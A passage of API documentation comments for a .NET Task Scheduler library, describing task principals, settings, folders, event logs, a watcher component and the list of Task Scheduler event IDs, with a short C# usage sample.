the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is 